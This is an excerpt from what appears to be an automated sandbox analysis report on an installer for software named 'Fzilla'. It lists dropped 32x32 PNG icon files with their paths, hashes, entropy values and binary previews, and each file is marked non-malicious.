Size (bytes):	558
Entropy (8bit):	7.493223074946605
Encrypted:	false
SSDEEP:	12:6v/7us1b3GmtXAS6buSPLhE2Jmti3Dkbit1L2zWE726KyQIw5bz:neGuADbdPitiYs1cj3KtIwtz
MD5:	C6C23F237019311D1E9820F9A840537D
SHA1:	6908DB5AD2A22573350DD96983B7D35C94311B85
SHA-256:	1C956E14E45D41DE7F55FCE1855EF1BF04E33904AC8E4BBCF8C7D900C2731D07
SHA-512:	02F3D001C247D71C0F12D436652528C35616138EADFEA4E2B16B91D1D2EC88852E1FC61B57A2DC4BAE3531C142AE6260EA7F3A05652929032CD1226ED856C432
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx....4E.G._U..s.. .....4..p.$..`.5..2^..E.#g\...T......<...._^..A...!...........[.....y..........:.yz..o^.........."...Z...7....&./....F.0.....-7.G25.I.46.Z...[.....H`nl).l....v..h....`.A......F.#8...hj..)fJ7^[.QAP.j\|..].....k....N.>..!.....?.`m.Y....k.......l..Z5$.},,...~v.Q..>.._7.?...,.......-f..4...~f..kQO.~.....f....a.M./f...AA..`n.0yW.....@c.m.c.3!."m...FH...zz.+H).....@tC...y...^L.@N..;.=...Q....b.....y...I...y\|..GN.!..*..s...;6..".M...{.../~U"..uR..eY.QD},b.C..?~..D..u.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-QGGG5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1540
Entropy (8bit):	7.831591508875402
Encrypted:	false
SSDEEP:	24:Oxb0TBQLUHYhu1JKV0eiPOyhIRe0PnxQMzqB9V/4OjReUPTrFJ2I7QD6LoPlLEN7:Ox4TBR4hOI5iNWPxti4OjReMoiuPlQ3N
MD5:	EC15FBBBD193EBBE104664EE7CE9B3C7
SHA1:	8C19DB80E8C2BF49AAA8A25CE7208A2F33FF89AA
SHA-256:	9E1858549C0B18A8B1D71A596066CE03A9E2E6F4E64D5E2E563D14299EC0BF8C
SHA-512:	D8C24BD2D4B7A6AF3A043C11F2F3B74FC93EBF9E2741B7C1019968CD4BDC81860C87E914144D35FDEE21AD870E600BE44EBA8A484B9E6F8C54B6814AD3E5E794
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....m.....s..g....b..+.].S...m........N..{v7F1.[....{......5o~.M......Ip........uo~+..M..Mns_..(..........l..W.........(&..+w.g.......K.4.C.3gwrg o.!...x....Z)......E.].]`".\|.;.8t.D;l...t?....J.....oL...kP.\|..3CDj......y.f...?...........{...<..?..G...O.P..MtEC..ZsE.....4..x^.......g.}.....t.o...-.cv..#..=.0O.D.F.6....Cl..EKC.n.%...x..b..phP087.,.u..'O.i.....?...e.7O.=.ua2..7..A....._.]...Hp4.p.QT.Z.A@. 6C..F... .....F7..o....G..]'.........p.....D$.J.(.@...%I5b.....bX...p..\|L(..s..m.n.EX???".0U..9.d.D...A.hG.... n..jP...u3P.t:e2..2.-..u.lu*+P..6+..Q.Y...'.r.....a.bh..3>.m.n..`}..P.Zq....,8u.P..Y.H..p..?&H4T.....oA..n....E.(.c.f.+u.~g.G.T+.............d.y.{...).vl.B.Q......~..f}..t.e.^....53...K)..........].>O........H.ZJ.....9.@.}.ql...]3.4/..8F.9..(....AS.LR....Tu.U..5.;UJ.sG.n.dXtd.q.G0....9.y6......N..'Fj....r./d3J.\..gMK.&9M..HmhH?F..].`.ay.Jb..R.....h4:."..kW.eA.'P.T...<wR.9....J.Krr.>.2..gk

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-QKH7N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.857841047604233
Encrypted:	false
SSDEEP:	24:aYUEg+D6Rpm300GWLfp8uSmsbew0PHjps3LyFee00ibyIM:aTE3I6tGWLRCmfK3LyFm1WZ
MD5:	7267294D33CA396D1E1138EF8FBA0733
SHA1:	76378823A14867D35964FA6EE29779A6E27B4215
SHA-256:	E0D881951B2729F54E7793C0442D34EA8BA696C45E3F37B2E7AB6A5052CA87FF
SHA-512:	B6421C13A0007C7B031B419B3CC0AABC2ECCE1E739717179B3849C3672A6C45388A4E34CCB6384488C018E1A6BE596286A88913802D3DBC3D61ADBC4019BD967
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx^.W.HUg.~..{.^...J]..N.hDk.."2,.0`...d....0...-....3F..F.Z.).dA.5. k..nZ...z.?{.....=....^..s8........s.7..l.M..7..8[ ...!....y..N....=<......w.......F1..L.....%K......~.S.....s..;mbbB{..........H......".)"..@.......1.{......".0.....%.....].....4B.u8.....a..0.;.f..f:[.4..gLp,'D....ABB.,....t...:.RJ...h.5}'.Q....S2..$gz............5}w.\....&.p8..Rf..YS.3g.`..(++.;.7.S.X.tT...@..)8..q......Dbb"..~..............=..........h.).QQQ...GEE....T.....w....026...p.;.z.t._...8.K.V.Wr....1..t.~..-(...e....kh........_../lwF$..\|....jh@.......fSEfR..RWW...4...@......-.Q.(t...<.\|;\|.[\|.wM...1..[.&'.....-3'..I.i.\p......x<.{77...U?..?...O...X.:o..c..J,@).t..M...+....fe9.E....2.I.J........C...&..).4.o.mJgxF<8~.8.-_.....0.?...LA..P..c......$.]..H......I.....o.v.......CLm...A(.B..A .&.k...t.i...G0..8.j\|..........G.rr..99o..q..T..6q..).9....k...;.....1.:G...0......\|.~..mh.%.A.T....r.M_..XYV...{....M.?{.....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-T2OK5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	7.8724577847012736
Encrypted:	false
SSDEEP:	48:mwmk7chh8ckurzH5B2lzUzkVUZcHUCC+5dP0cl:mLuburP2lzUzAgkn7
MD5:	6EE1CDA983B082B09340F2F22FB6C767
SHA1:	8D200CA0E4925998A88FF28863127399B9EDD58D
SHA-256:	457B63EE020A89EBECBD8C2BEC4FE53763A2C13B996628F782E60798382DEAF9
SHA-512:	8C24CDF6527D305FB925C6A6EE084C8A9D94BF22D3DA213DDA0AC75F8AB3BF0C5C0F704B39E48726E2206EF125788247ACA2185499DA1596DCAC4941B386A60D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....MIDATx....p.X....P...n..q..m.Am.m..X.....K.gl...w.......P`...!7b....Za..C..tg...'..._3...rg].....>M.....\..u...U..r......F...>0h....cl...........Kq1v..b.p:J...S.<.8.25.qa.@?....q..7."'b_.......Q..9.{Ig..G6..$...r.,...UPg...:.w>.....IU/....1I<H.#L..&.a..B...+<L.....p,~..0..35..&.XD....T?...ax...[.x.^.,...a.F..<...w.s...U..C.7..&:..t5q3.g.]."!.......X`.4y+..n..+..Ss......./$.w.6...]]h...E...<}k...;....~6Z.g..5..............Hpw........s..5.=.].50.D.X.........\|.+....R.V...E...[..{..L......c....NR2..k..p1~..J..4...@>............8.9...%9+.....}! R..({.h.S.tv,.......Y..x..qMru7..]Z_.0..%95..C.......e....o......X.#W. .c.#.3.8...y..,...[C.j.....'...Yb[[...3...,plB?6.0.kW-d....:.To....w....:...a..oT...n;s.^./N{.!......[....u.>.o......s..1n.b..?R...j!A.R....j$0AJU.V....,.%.......X.H.........c.....l.^..W..h.[.N.j.T.F`..<.U.'_.Q.v.8.p..6.L..;eG5....AR8."..Cq&\.....6u.tr.bE.;DK+..+..{?...{..,"..c/..(c.. ...!..P.....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\is-VBH0K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2073
Entropy (8bit):	7.9025915400711595
Encrypted:	false
SSDEEP:	48:OWbhcRbGLZDRtxPlaN3ED15ZT+zgM9JbFTX9Xgh+FNE97:OuhcRE9fx0dED15Zmh9JhZ8pt
MD5:	38A9D4C17DCED01B3D09A2D3ACDC6C6C
SHA1:	4F2707734750C6F4B665A31E634CE4877512FFC4
SHA-256:	847BF6503E2D0D2AC35CE6B81410899C94021C494CA075EB74620CA5968FEF31
SHA-512:	A9D40B219F9B8AC3DEFAD67D2FFF2DEC06272C96969BF08D0CC325EB2E36312F7F04D060E3758D31B950081A49BBB1CCBFF8A40A5F01F13A0B3B6DA5376A6927
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...pl....=....s.m.Ux.m..w.c3.'...fWWjr...U..........?,^.x7,).FWX..t+.j".-.l.7..v{.s..o._S..h2...j..k..]..~..D"A..u.GF...3...ki.=....c..=...."...V.x..K/=v..$..H..7>._@6.o.x.+....78..{G.Z[.\....>.~....V4.z..nz....._...e(0....&g...O{cZk..........o../..'jj.\|...x....$.'.d..b.A....;2.....f2x..!....z.p....K"..t.......Y.v-....!..t...q..p...'w..Nssh<......:.].:.N...S4.0u...9..>....#.\|.k..Q2I....!.m....z....@...._q..H.R$f<,...NXs.....bF...8..>...8.74.z...b..k..........~.`..b.O.}..5......C........12W...].......W]t..].o.ve.W...x.....h\|...\...H.....\|.....@..g...?&_U.c..9B..}?.x...B.a.K......%.j....Pw..O..!..g..~...z.(..u...@...x.9,....D..F..%.....I.a..u...q.O.}.......G .P.N.....9..['.c.....m..#..W.....s6..!(-]_?kVR.....\|.9..n..b....,..C.....#9A...5..7.....d.=....X.L.I.)....+....z&.....\|....H..?<v.e.......:...D..5\|....[....Rc.a..%i)......O!.O$...ak.%........i...K.A.5.^Fq.q!..V.....H...6Yf<7.H.F<..Y.r..

C:\Program Files (x86)\Fzilla\resources\lone\32x32\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1774
Entropy (8bit):	7.832551195098701
Encrypted:	false
SSDEEP:	24:nlGV5NjV6I50Sm1vSwq75c+NkZGmkYl9+bcC3qiJH50gs/Le6pLyvztXvQ8OWS4C:lGV5NJ6HSmALYZGy7IhjH50g3SCR/2D
MD5:	DBA06AB15E6263486CE28315D0FD58DC
SHA1:	DAADC452D8209651429603AE62B3301D6F41DA42
SHA-256:	B86DB4F8C38598A2811BCF94EF666EE7E3F83F430C3397AE64FF526F05087276
SHA-512:	4DFC6DE7BF9743848062BD75DDBA58C0CCDD5D8D3AD2ECB261E65100B443A69433F56AEA8EE3AADACEE4AA4D88FC3BC0C3E8DF955D751943CF983EA56C4BD416
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...tk[.....1.mz..m.=.0.m.6....6...M.4:9.{v:..}...u..w.....?...\|.r.\|2.mu....}.....}l.f.x.'?....t./..U..L.Q..z.??2z.<5.Fm.....M.p...<u....)....T.?6.H........ .".a.....Dyqa.xy.w.S?....9.5.@.N.E...i.D6.@>.D...t\.U...kh#.......[.~.;'..7.s...f...K.......W.`..O..z.....(.L.w...%.4.#" ...B.q.PF..l..t7tu>.R.?U....:.[.....}nbE...~.i.z....J....{.......u..M'.Lc..A....Cw].<....@..r7;..j.L....".M...q.....d..X..Fc:N.c..m.H....mk..Xj4.......<.gf5M.U.....Z.R....&:-...M. ....L..a.@....ryR..-.....z/..(.L.L.R...<9yY..#'W. ...C#.{n.9s....L$..3.JZ.iAe.LQ.k;.(.G.......T.V.eMF.# D..x....>50...)....Q??=4t..'.....Z-e.RI.M....dR).w..N3J@ ..T.}....w.......xk]BEZ...)..{....i.x...w....eq..7..d.........hz`.R.C...."Zu.?A.F.X...{.S.*..T..7l./.....+.=W.8..]........f.!.p...J..Kw..W..9..ZG.....M..I....;....gw9.J.tFq\......B.FGz....{...o%..ttt`zz..e..KKW,.....J#H...?......}D...e.$>.h...a......0.O.8.......KbH..%........=..#]]I.2.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	7.859599419869458
Encrypted:	false
SSDEEP:	48:HKOyH7WElZkqPpVptNskSr44St4aMDFbqsc:HxmLVPQAtFWqN
MD5:	B2367AFA04C223B4E5932EBA393E1403
SHA1:	74C7B2E46ED230FB70E335B08C1BE217C05A1D5A
SHA-256:	D2D67439D802E632F4C4AAF217678678760A387298C833D602157ECAF6221E71
SHA-512:	C5A057696EFC8CBD45B556D51677CAE143296353FCC8066F8CE7FD5935577B0687C46B2324394811120C9F305713FF3FA13EFA6CACD39020747E88394C5AF066
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....QIDATx....p5K....=s..&..g.m...m..~.m#...Lw.t.[..6..N.N.qU.3$..nl..,..jmm]066.m.y%....f.d2..OQ$..r..w....k.e.(.............~.......3@:::.....-..g.O..].:d.]w.$j..2...0....g....}.....?...cz...\|..^.....=..qL__.I&PJ..k....-_..J..._~.....#....0.;..;;;7kF....s...C..E..-.?.~f..$w.........g.}.Z.c.:.v.Z&cpp..7...j.).......}..7.t.....GI..k....<....?.p@%.q.5.t._..:..i2,L.........g......O\|.?..O....7....N8.W.\|.;...L..]v.'.73....2.O>...u....C...9...Gu%.e&!...~.._...OF..\|.+w}.[.........f"6.\|.....\....(..L..U...}....I.V..).H...?Z..:..z.>.... ....{.?Y.ti>...:.x...Zl...@Zga.t..M...f=.......X..Y@...1.Fr.(v .%..b..L.L..;<`...Y...C..l..a..Y.r\.Z.....P..(.D.t...\|..{v1.]9.l.mKK>..FF.)>..B.E.@..Q...Tl...kUa...e.`eh.Xi...s~....u./.s........]..._...[...Q....k.........3.../.R...cV.1..6..n.....8.K ....B.C...R.....&...:..(O.,..b.g.H....,.M.~.xI..K..."8Q(..YL.. ..mA.!.P3.........Kj\T@..J.........E.z....u.Pq...gci.g.B......7...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1442
Entropy (8bit):	7.745475235760126
Encrypted:	false
SSDEEP:	24:Hz9wGbrh/FmgP5cGrxWLwFVlfSbvR56th3laZED7QYT+U5FVLxPdVqtTTFO:HCCNFlrxHGvSthwZEvQYT9XL0dTc
MD5:	465ACE9813FE91005360A178FF4F6123
SHA1:	5CABE49C8D30E8EF616FDEB8FB64083580B68419
SHA-256:	734E3514D09C78A03CA2231D27CE9087610715193D8DC177AB95F6C5ACFA6EDB
SHA-512:	C0B20B8543E498233E44C02E8642385961B95DB8F0D5F215DFC36D80A57484D915D6C55086CACFA916C330D83A41E81A44DFA663F21CB7B5A8006EFEE96F30E9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....iIDATx^..MHcW...K^.c..~.....`wnZEE`V..........L..nl.F.+.E[...T-(..(#`.k....w.D.......@..LS..y/.{...s?..,Hss......hXJ)b...`%...B.'''.........e.`~~~......9.......pXLMM....[....R.9tuu..M...@...}OO./..j.j....baaAo...!.HD......:....x<...B..!@__.....L...F ..onn.+++...U...n...Vqzz.O@.......".f3,.DQQ.0...........}@3. ......\|..a....(.=.....@..f.....o..###.i.......#v8<<.....1;.........p8..c.....MX.p....066.QNN.#r....P<...g.@..(.t.h.@.a......@~~>.S......$..!..f. #.....3.g...xv.....y.....g....t.`0(...........sM......../r.z8......(u...QSS#...X.....5VL.H..N.........(((..8.. ...@S..Qx.......a.o........tb........W.`62...?S...."..10"..d.@......@_#.....7...o......,....T.~R.K....e(I.!...S...y766.y\e....9j....`zz.......M.....E..A..p.%..5M.....U.d..i...!P..liii...\|....72....X..Hz.5ooo.onn~<>>.......r=.".......UWWW.;_@.-.)4kD.A.4.@TM.P.f8%.......I... i..`...........}......FL.;......'.8....!.k`gg.%]8:.fV$...g.`>.9..G?\|..l.T"....\|~...r(..H.SE

C:\Program Files (x86)\Fzilla\resources\lone\32x32\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2618
Entropy (8bit):	7.901131194517795
Encrypted:	false
SSDEEP:	48:B25d68w9BvSJwWcv3bzw1WI+OgsXaOe9A8U86vOLl7EwtKJsh:4n6tcs33w1MX9q2J8yh
MD5:	0F77A3441E8578129A7FF4E49C81389B
SHA1:	9C1623472D0E77BEEBC657155FA092201C898CAD
SHA-256:	2D4C44B6C1016F8ED63EF686AB34BDCA44914C0080AD52A9A660127C340524A2
SHA-512:	AAC4653CDE430786737703E74393FF56B5A21C5E37F076E4296387A48B3992AA1A334525E28B71AA35F1243F99ABF55CA08D9957C11367332111B714841CDB38
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....+I...B+I'.dt5....m.m...m.1s..$........9Oc..V}8.....8.T...........JZp]n..Bh..bp..X.wbI..~.f0.. ..\|.%6.i...&.)...RS...yfY..B@k.....W..?..A.K^w.0{....7..nu7;.Y8...!.......f.....N........G{...m.+._(....R ..iv.}.+W.....P..?.]..nmv.....{...79.......>h..}[.-.@.d.X.l.....^.}....-...T......a.v....0.i7......(..G.9....`.8.9...KA...^.K..m_k..^.d.z.A..(...K.1g.I)3.@fd... ......D.0T...>."U. i....{..D<.SF....._"...N.$...d.t........ ..!...\..?A.%....M.+.R!g4.7.d..A..\. ...$..'a..I.#@.C...N.Ld.($.HA..b.'..\|/F@...$...=+?DY.........\|#.i..4..c.R.t.-.%.};.......$PH..H.....YY}......@.ZMp0.\.0..).m.....,)..,cWd..%.6........ .p=.....% .o.....~~.H........}...w....c0..Mw....F..:g.....>.....J[.k..O.)....v,i..[.....`.. .IaH..@..{.........?...x........>.m.....9H..p<p..L.....Bg:1<.N......MeAID].[,.k.... .L..(......\|......\V1..9.?....].eT.(...B.n...@.7....[..F...:K..a..I...).@.E.....Z..p....0.6aI..k.....0.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2144
Entropy (8bit):	7.866695703293741
Encrypted:	false
SSDEEP:	48:mmDmaKpeUGJsIIyzE+ivK1fkAonY380CzvzjwpdklqXm:taaKpeUGJvI4E+UFAonwOopdklT
MD5:	844C67E1160408699D307ADEC217F5B2
SHA1:	84F77A21AC5108AE8D6220FF0FD3BA9D12528011
SHA-256:	FCDB3A3A1BBBC138AF7C64A252E8FFCC5FE24AE5E36C4CD7BD4ED8E48AD33B21
SHA-512:	08DF58DCF3CD368C2B20D7F0C6F20ED9445DBD6B3867E2AE5850043926B2DD36EECDF8D5C13336A39D649D1E5C4D44DD6011CBC25923375E8B53F4791BC0A27A
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....'IDATx....kK..w.a.IN[.=...6.m.m.m.m.vw...V...ng.8.^...9.w..r...p~...Jb...Z/;.UVZ.L......&.G...0...3....j.UR2{q.}5i.....x.q..mNNN....~..t.6k..v6..w.K..R..tE.J..p......9$K=.......).....?S(.h;6R.0K.(&R.%.$.a.o...F<y.\|....s.....V.a:6....2.8.......r.>...K....`.M7...]{..\|D...G.e.......q].Rc.ei.E...B......G..$q....R.e$.;...=sBP.!.R...n...\p ......S.\|..m.....!D...M.I.....^O!..~..b.D.D...D..T..... e.0.x....Kh..o...5....z.e.;.G...:...c.=z...N..`\|,N..0..........}.......T@KK...&.8..q..=.1. .5.N. $....:a...5J..8....4.iVeS.A.._...R...-.3a......UB!?....:..;g)....9s..MMM.R.e(.4z.u..{.^.]..d....m...z.B........0`I....RM....>\|......d../..G .i.o..c..900.~......S/-..f.6-.f..4..4.0[a....O..._..t....D....D1,....H....K-..K4....b.{...c.^~'.].(.a............fL..:.~.s...>33.?+..g.#....j...L6.,..P*.I.\|~.......8..W..M7....[.].#..i......UdDz....e._~0.........CE&.!KN...&...~.e..?.P.g(....E.'MN..ZA...y.f.%(.FoB.A[.....bi.j....-......0.1.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	7.8724577847012736
Encrypted:	false
SSDEEP:	48:mwmk7chh8ckurzH5B2lzUzkVUZcHUCC+5dP0cl:mLuburP2lzUzAgkn7
MD5:	6EE1CDA983B082B09340F2F22FB6C767
SHA1:	8D200CA0E4925998A88FF28863127399B9EDD58D
SHA-256:	457B63EE020A89EBECBD8C2BEC4FE53763A2C13B996628F782E60798382DEAF9
SHA-512:	8C24CDF6527D305FB925C6A6EE084C8A9D94BF22D3DA213DDA0AC75F8AB3BF0C5C0F704B39E48726E2206EF125788247ACA2185499DA1596DCAC4941B386A60D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....MIDATx....p.X....P...n..q..m.Am.m..X.....K.gl...w.......P`...!7b....Za..C..tg...'..._3...rg].....>M.....\..u...U..r......F...>0h....cl...........Kq1v..b.p:J...S.<.8.25.qa.@?....q..7."'b_.......Q..9.{Ig..G6..$...r.,...UPg...:.w>.....IU/....1I<H.#L..&.a..B...+<L.....p,~..0..35..&.XD....T?...ax...[.x.^.,...a.F..<...w.s...U..C.7..&:..t5q3.g.]."!.......X`.4y+..n..+..Ss......./$.w.6...]]h...E...<}k...;....~6Z.g..5..............Hpw........s..5.=.].50.D.X.........\|.+....R.V...E...[..{..L......c....NR2..k..p1~..J..4...@>............8.9...%9+.....}! R..({.h.S.tv,.......Y..x..qMru7..]Z_.0..%95..C.......e....o......X.#W. .c.#.3.8...y..,...[C.j.....'...Yb[[...3...,plB?6.0.kW-d....:.To....w....:...a..oT...n;s.^./N{.!......[....u.>.o......s..1n.b..?R...j!A.R....j$0AJU.V....,.%.......X.H.........c.....l.^..W..h.[.N.j.T.F`..<.U.'_.Q.v.8.p..6.L..;eG5....AR8."..Cq&\.....6u.tr.bE.;DK+..+..{?...{..,"..c/..(c.. ...!..P.....

C:\Program Files (x86)\Fzilla\resources\lone\32x32\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1976
Entropy (8bit):	7.881093197097352
Encrypted:	false
SSDEEP:	48:OD77KfmLVvBE58gXLyjA4V4Wyt1sSjzaEST/1:ODvKeFGvZ4T6XVo1
MD5:	E9ECF626D6ABE0EA06FE28F04184D8F2
SHA1:	96351536B811FE09C04FF9BAA480FB82242B0F90
SHA-256:	9A80D24B7BCC958804B25376E5C39F6A085AA9023463296868DB0B9645E925A4
SHA-512:	94F362062D9E19F18F8C1F2653F350F302279ED78BF33C9A6BCF36428E2A8D5276FBE9D3B10BF8F25CE57040AF6A82457A56378500C060153AB49D7B40749944
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....x.Y...KzS7.........j.m."......m......w...<opon.......5..$...+e>..h7X7..t9\.,....0V..j.\|....PY.00.(.....U.......P.o....=.......%}s.......h......i....#.p.....:....`..G...s...w.X.Z.....Xz.}rm.>...E}..W..W>.4}9.z........`......m.7..(.:..S..&i.^...ODo@..E.7T.-.....'.N.G...b.;HO....-x.n...[...3qG....2.w..P.zx5.;....T....pY.L.x0W.}3.........]<.c.O...1.DS@.x...T.c.ER.N..j.g..].b..cqJ...%.Yp.}K..:...A<..=.W....._.:..gS~ b)e...e.N./..>..kq..h..dx0\|..._Bu.....o.2b!..2G..x&.#..<..F.A..h.y..B0..Br{.c.d...;z._.E......)..G......c`...4=E..]h...].-....].nX.?x\.;\|.}..WU.K..}e.+...x........8.\|^q...mZ.s/<..^....@.........~Qk.p..1.o.I...'l...}...jw.F....0.I.."..rG.(.A..SG..B96.G..T.1..9:f.,..9.n8..w...6...x>..MNK.....3k}Z.....Y{.I.3^.:v'.3L...J..s...b{t.9..z....'ou_..s...u....c....g9.q.p{C.QTp..3.....N..@)....x...P.z .-r..........!.H?.....]...'.*so'...n..b....9'..uE.;I....F...Z.bl.7.0.6..n.......n.

C:\Program Files (x86)\Fzilla\resources\lone\32x32\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1566
Entropy (8bit):	7.856124360495591
Encrypted:	false
SSDEEP:	48:O36N3S4t6bXJd4enWubIJTUMJwraJr3uwSeo:vS4EbZd4eWujMDrA
MD5:	93656A2188798221023A385E5CEB374F
SHA1:	991C36F45DC931E04AA95B34990DD27EA73CB02B
SHA-256:	748FC0A5B322D1D171E87D71E7DC2563485C72BD8AD0557B99D12477FAA1DDE7
SHA-512:	F3A6F67215BA0C082E80D39DE2DB43117180F92D185AE2B3FC32A29382D13C27E505DC6E85B44A6B44351C76B2DA515A226919FF74A2FAB32E676FAED4FBE508
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....pe.......A..m{.m.Ux.m...;v46.{..o..2..W./..>.<.a;.#\C...f+..g..m...'..........g.u....\....=..........u..............Qt!....>:.zV......x...?w.5..u...i...\|..cq-`!I8ah..S.Y....c...\^...}.#o.hl.Q...^...r...<......u(...f.w.\|...7.2.....p.......8...A..."..(L.._.....`.r..EL..=.Z..b2.ZCV@.C.....QZ......n..."E..@...{.Jn ...`!q=...(.\|.....w...)XI..@a.( . I@k......F.../.;2.+A.@.U.lb..1.E%.....'..M.18.m#....h5}..H.U..4....E3....I......I{..7....y..D.~D...N`..c.}...0{.......}<....=............^..80...H8zP....<.fZ..".H..\.:..G.c...~.~.GEZ......Hp..@s.)gv]q..S.s....n\..K.c...K......3?.........}.mm^.R..R.].47.zO>..Z-........i.V...Yv...;...[........{nS.0...y%..u.}....q.rz~........'.....b.}.Q........^>k....6w'b...M-..w..HW...+..0...iG...rJ.EQp..(.J]]]..Zg...vex..U(.....,.H.[&...sS...Ax..8<<..^m..B.<...-..=.r..............e.J..n@.... .h<..vL$qN.....Bc....1.,6Y.....(.#.....Q.......H.l...9.HL!.......

C:\Program Files (x86)\Fzilla\resources\lone\32x32\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1945
Entropy (8bit):	7.881352855748773
Encrypted:	false
SSDEEP:	48:OnrJt6G2fPWT5kUvX2vM462j1tdzm0wvOtEa5B2JBnCR+pvSuC:OnNsG2WVJR6jzdzl8OttUJBTvS1
MD5:	217FA1181DDAA3BD23CE7AAA98A36E26
SHA1:	E62F81DFEBE26E0236ED4C3F5A49C584B9B9BE88
SHA-256:	43AE1112F6C1C7A4A3B3DB65925B421BB69D5339CDA4EC15AD31898D33285ED0
SHA-512:	534EF984302CA3100E46EB6C7944DDB75D12F1FB378E36279D5B0D406654AC50FB49E0F41C0B63C1C869F65414847990E112AA4ED75AF75CBA70E8604B61150C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....`IDATx.....N...3..b..m.m.m.m..}.k...:.O...~oWuz.Mw.D..{...0.(DV.ol.x.5._..;......\|a.=.....3.m<..SJ`Q0.6v.$.-.....\|..Jk.3...Y.^z...n......@SSS..SAGG..dH...........A..6......&N..RY.O...../.&..l....[..W_}u.\|>.%0....g.}v........q.{..p._.>ikk...g..........k.:.....6..Z..._~.b``@z{zd..i...W.....?.{.W.}.].......\..ny.wdttT..~...7.R.$w.q.\~...../h..k....:K...~..c.........7>..C.R>....c ...f.....1jkk.<.rY.......3$...L....S...c.x....p..'...f..[Z?.y......'....ds9Db.`.ct..M..Q...X...u#...s.b.y._]w.u..).o5o.7>..[?..co...yW#"..X...3.E...\|....h)4..tN.0i...o.....i.y.....#.>S.W_{...Z.0.@.#`. hGf.i7.....0..Q....>...W_...)..GK.........p.......Q..U?,0....T.U.......f..5A.....,......?... (T..2.n.e.OX...]y..K..E(...H...=..y..>z...oA..E.0..'Zm.H.X.0.q...c......c...a.....O....~.....h......4..H.(..i.E.........1.....5Yv.tN.}.~^{.I"<l:...?.?.).VDO.Q,".3v...(.. f.;....+.>dw...2.\5..;z.......U....a.........3...

C:\Program Files (x86)\Fzilla\resources\lone\32x32\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2036
Entropy (8bit):	7.875382760915973
Encrypted:	false
SSDEEP:	48:O8Rx8bYTPPqpFsbb18IC7wUtdLzFfwgbVeDfadZ:Oyx8sTPP04b1O7NLzVwrDe
MD5:	9A4B68DDF573F2F9FE8558E47D332134
